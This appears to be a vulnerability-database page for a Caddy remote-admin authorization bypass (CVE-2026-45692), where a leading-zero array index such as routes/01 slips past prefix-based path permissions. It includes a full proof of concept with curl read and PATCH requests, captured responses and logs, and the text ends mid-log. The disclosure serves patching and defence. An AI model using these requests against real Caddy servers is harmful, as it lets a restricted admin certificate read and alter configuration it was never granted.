Yes, github.com/caddyserver/caddy/v2 is affected in releases prior to 2.11.3. Upgrade your dependency to 2.11.3 or later.
What is the CVSS score of CVE-2026-45692?
CVE-2026-45692 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-45692?
CVE-2026-45692 is classified under CWE-187: Partial String Comparison (The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.).
How can I check Go dependencies for CVE-2026-45692?
Run the dependency tree command: 'inspect dependencies for github.com/caddyserver/caddy/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x5w9-xh9r-mvfc",
  "modified" : "2026-07-20T13:43:05Z",
  "published" : "2026-05-19T15:51:31Z",
  "aliases" : [ "CVE-2026-45692" ],
  "summary" : "Caddy: Remote Admin Authorization Bypass in `/config` API via Array Index Normalization",
  "details" : "This report is not about a normal textual prefix-expansion case.\n\n The issue here is that the authorization layer and the `/config` traversal layer do **not agree on what object the path refers to**.\n\n  In this case, a path authorized for one config object is accepted, but then resolves to a **different config object** during traversal. \n\n  ## AI Disclosure\n\n  The reporter used an LLM to help review the code, reason about the behavior, and help draft this report.\n  The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.\n\n  ## Summary\n\n  A remote admin client certificate restricted to the following path:\n\n  ```text\n  /config/apps/http/servers/srv/routes/0\n```\n  can still read and modify a different array element by requesting:\n\n  /config/apps/http/servers/srv/routes/01\n\n  This happens because:\n\n  - the authorization layer uses string prefix matching\n  - the /config traversal layer parses array indices numerically using strconv.Atoi()\n\n  So:\n\n  - authorization sees /.../01 as matching /.../0\n  - traversal resolves 01 to numeric index 1\n  - the request therefore targets routes[1], not routes[0]\n\n  This is not just a prefix-match quirk. It is an authorization-to-object mismatch.\n\n  ## Why This Is In Scope\n\n  This is a security bug in Caddy's own code:\n\n  - no browser behavior is involved\n  - no dependency bug is involved\n  - no external system compromise is involved\n  - no third-party software compromise is required\n  - no unsafe content hosting or file upload is required\n\n  This is also not just “an unsafe configuration”.\n\n  The configuration explicitly attempts to limit access to one specific path:\n\n  /config/apps/http/servers/srv/routes/0\n\n  But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.\n\n  In short:\n\n  - configured authorization target: routes[0]\n  - actual accessed object: routes[1]\n\n  That difference is caused by Caddy itself.\n\n  ## Relevant Source Code\n\n  Authorization path matching:\n\n  - admin.go:719\n\n  Authorization config comment:\n\n  - admin.go:213\n\n  Config traversal with numeric parsing:\n\n  - admin.go:1201\n  - admin.go:1310\n\n  ## Root Cause\n\n  ### Authorization layer\n\n```\n  for _, allowedPath := range accessPerm.Paths {\n  \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  \t\tpathFound = true\n  \t\tbreak\n  \t}\n  }\n```\n\n  ### Traversal layer\n\n  idx, err = strconv.Atoi(idxStr)\n\n  and later:\n\n  partInt, err := strconv.Atoi(part)\n\n  Because of that:\n\n  - allowed path: /config/.../routes/0\n  - requested path: /config/.../routes/01\n  - authorization decision: allowed\n  - actual object selected: routes[1]\n\n  ## Why This Is Not Just a “Prefix” Case\n\n  For a normal path hierarchy, a “subpath” means a child resource of the same authorized object.\n\n  For example:\n\n  - /config/apps/http\n  - /config/apps/http/servers\n  - /config/apps/http/servers/srv/routes/0/handle\n\n  Those are genuine deeper descendants.\n\n  But this case is different.\n\n  Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.\n\n  So:\n\n  - /routes/0 means routes[0]\n  - /routes/01 means routes[1]\n  - /routes/02 means routes[2]\n\n  That means /routes/01 is not a child of routes[0] in object semantics.\n  It is a different array element entirely.\n\n  So even if prefix matching is documented, this case is different because:\n\n  - authorization uses the textual form\n  - traversal uses the numeric form\n  - the two refer to different objects\n\n  This should be treated as an authorization bug rather than a documented prefix behavior.\n\n  ## Security Impact\n\n  A remote admin identity restricted to one /config array element can:\n\n  - read a different array element\n  - modify a different array element\n\n  This breaks least-privilege remote admin policies.\n\n  In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.\n\n  ## Affected Product\n\n  Tested on:\n\n  v2.11.2-3-gdf65455b\n\n  Affected area:\n\n  - remote admin\n  - admin.remote.access_control.permissions.paths\n  - /config API paths containing numeric array indices\n\n  The reporter reproduced this on current HEAD.\n\n\n  ## Minimal Reproduction Configuration\n\n```\n  {\n    \"storage\": {\n      \"module\": \"file_system\",\n      \"root\": \"/tmp/caddy-config-index-storage\"\n    },\n    \"admin\": {\n      \"listen\": \"127.0.0.1:2029\",\n      \"identity\": {\n        \"identifiers\": [\"localhost\"],\n        \"issuers\": [\n          { \"module\": \"internal\" }\n        ]\n      },\n      \"remote\": {\n        \"listen\": \"127.0.0.1:2031\",\n        \"access_control\": [\n          {\n            \"public_keys\": [\"<CLIENT_CERT_BASE64_DER>\"],\n            \"permissions\": [\n              {\n                \"methods\": [\"GET\", \"PATCH\"],\n                \"paths\": [\"/config/apps/http/servers/srv/routes/0\"]\n              }\n            ]\n          }\n        ]\n      }\n    },\n    \"apps\": {\n      \"http\": {\n        \"servers\": {\n          \"srv\": {\n            \"listen\": [\":9088\"],\n            \"routes\": [\n              {\n                \"handle\": [\n                  {\n                    \"handler\": \"static_response\",\n                    \"body\": \"route zero\"\n                  }\n                ]\n              },\n              {\n                \"handle\": [\n                  {\n                    \"handler\": \"static_response\",\n                    \"body\": \"route one\"\n                  }\n                ]\n              }\n            ]\n          }\n        }\n      }\n    }\n  }\n```\n\n  ## Commands\n\n  ### 1. Generate client certificate\n\n```\n  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n    -subj '/CN=remote-admin-client' \\\n    -keyout client.key \\\n    -out client.crt\n```\n\n  ### 2. Convert to base64 DER\n\n```\n  CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d '\\n')\"\n```\n  ### 3. Start Caddy\n```\n  go run ./cmd/caddy run --config ./repro.json\n```\n  ## Specific Minimal Reproduction Steps\n\n  ### Step 1: Read the explicitly authorized object\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/0\n```\n  Observed result:\n```\n  < HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n  ### Step 2: Read a different object using a leading-zero index\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  < HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n  This shows that a client limited to routes/0 can read routes[1].\n\n  ### Step 3: Confirm that the traversal layer is interpreting the component numerically\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/02\n```\n  Observed result:\n```\n  < HTTP/1.1 400 Bad Request\n  {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n  This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.\n\n  ### Step 4: Modify the unauthorized object\n```\n  curl -vk \\\n    -X PATCH \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    -H 'Content-Type: application/json' \\\n    --data '{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}' \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  < HTTP/1.1 200 OK\n```\n  ### Step 5: Confirm the unauthorized modification\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  < HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n  That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.\n\n  ## Precise Requests and Captured Output\n\n  ### Authorized read\n```\n  > GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n  > Host: localhost:2031\n  > User-Agent: curl/8.5.0\n  > Accept: */*\n  <\n  < HTTP/1.1 200 OK\n  < Content-Type: application/json\n  < Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n  <\n  {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n  ### Unauthorized read\n```\n  > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  > Host: localhost:2031\n  > User-Agent: curl/8.5.0\n  > Accept: */*\n  <\n  < HTTP/1.1 200 OK\n  < Content-Type: application/json\n  < Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n  <\n  {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n  ### Numeric index interpretation evidence\n```\n  > GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n  > Host: localhost:2031\n  > User-Agent: curl/8.5.0\n  > Accept: */*\n  <\n  < HTTP/1.1 400 Bad Request\n  <\n  {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n  ### Unauthorized modification\n```\n  > PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  > Host: localhost:2031\n  > User-Agent: curl/8.5.0\n  > Accept: */*\n  > Content-Type: application/json\n  > Content-Length: 69\n  <\n  < HTTP/1.1 200 OK\n```\n  ### Confirmation of unauthorized modification\n```\n  > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  > Host: localhost:2031\n  > User-Agent: curl/8.5.0\n  > Accept: */*\n  <\n  < HTTP/1.1 200 OK\n  < Content-Type: application/json\n  < Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n  <\n  {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n  ## Full Log Output\n\n  Relevant startup logs from the reproduction run:\n\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:10:51.148\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:10:51.148\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:10:51.148\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:10:51.149\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:10:51.149\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0003d7580\"}\n2026/03/20 02:10:51.149\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00026fd00\"}\n2026/03/20 02:10:51.149\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:10:51.149\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:10:51.149\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:10:51.149\tINFO\tserving initial configuration\n2026/03/20 02:10:51.156\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:10:51.156\", \"try_again_in\": 86399.999999609}\n2026/03/20 02:10:51.156\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:11:14.787\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"59932\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:11:22.116\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40070\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\npkill -f '/tmp/caddy-config-index-repro.json'\n^C2026/03/20 02:13:47.114\tINFO\tshutting down\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tWARN\texiting; byeee!! 👋\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:13:47.114\tINFO\tshutdown complete\t{\"signal\": \"SIGINT\", \"exit_code\": 0}\nroot@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json'\nroot@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json'\nroot@dbdd95a60758:/caddy# ps -ef | rg 'caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json'\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# ss -ltnp | rg ':2029|:2031|:9088'\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:14:52.698\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:14:52.698\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:14:52.698\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:14:52.698\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:14:52.699\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00011d900\"}\n2026/03/20 02:14:52.699\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:14:52.699\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:14:52.699\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:14:52.699\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:14:52.699\tINFO\tserving initial configuration\n2026/03/20 02:14:52.706\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:14:52.706\", \"try_again_in\": 86399.999999659}\n2026/03/20 02:14:52.706\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:15:17.145\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"35382\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:28.746\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"38998\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/02\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46698\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tERROR\tadmin.api\trequest error\t{\"error\": \"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\", \"status_code\": 400}\n2026/03/20 02:15:39.610\tINFO\tadmin.api\treceived request\t{\"method\": \"PATCH\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46712\", \"headers\": {\"Accept\":[\"*/*\"],\"Content-Length\":[\"69\"],\"Content-Type\":[\"application/json\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:39.610\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:15:39.610\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstopped background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0005b6a00\"}\n2026/03/20 02:15:39.611\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:15:39.611\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:39.611\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:15:39.611\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:15:39.612\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:49.018\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"53712\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n```\n\n```\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/0\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n> Host: localhost:2031\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n< Date: Fri, 20 Mar 2026 02:15:17 GMT\n< Content-Length: 63\n< \n{\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n> Host: localhost:2031\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n< Date: Fri, 20 Mar 2026 02:15:28 GMT\n< Content-Length: 62\n< \n{\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/02\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n> Host: localhost:2031\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 400 Bad Request\n< Content-Type: application/json\n< Date: Fri, 20 Mar 2026 02:15:33 GMT\n< Content-Length: 84\n< \n{\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    -X PATCH \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    -H 'Content-Type: application/json' \\\n    --data '{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}' \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n> Host: localhost:2031\n> User-Agent: curl/8.5.0\n> Accept: */*\n> Content-Type: application/json\n> Content-Length: 69\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Date: Fri, 20 Mar 2026 02:15:39 GMT\n< Content-Length: 0\n< Connection: close\n< \n* Closing connection\n* TLSv1.3 (IN), TLS alert, close notify (256):\n* TLSv1.3 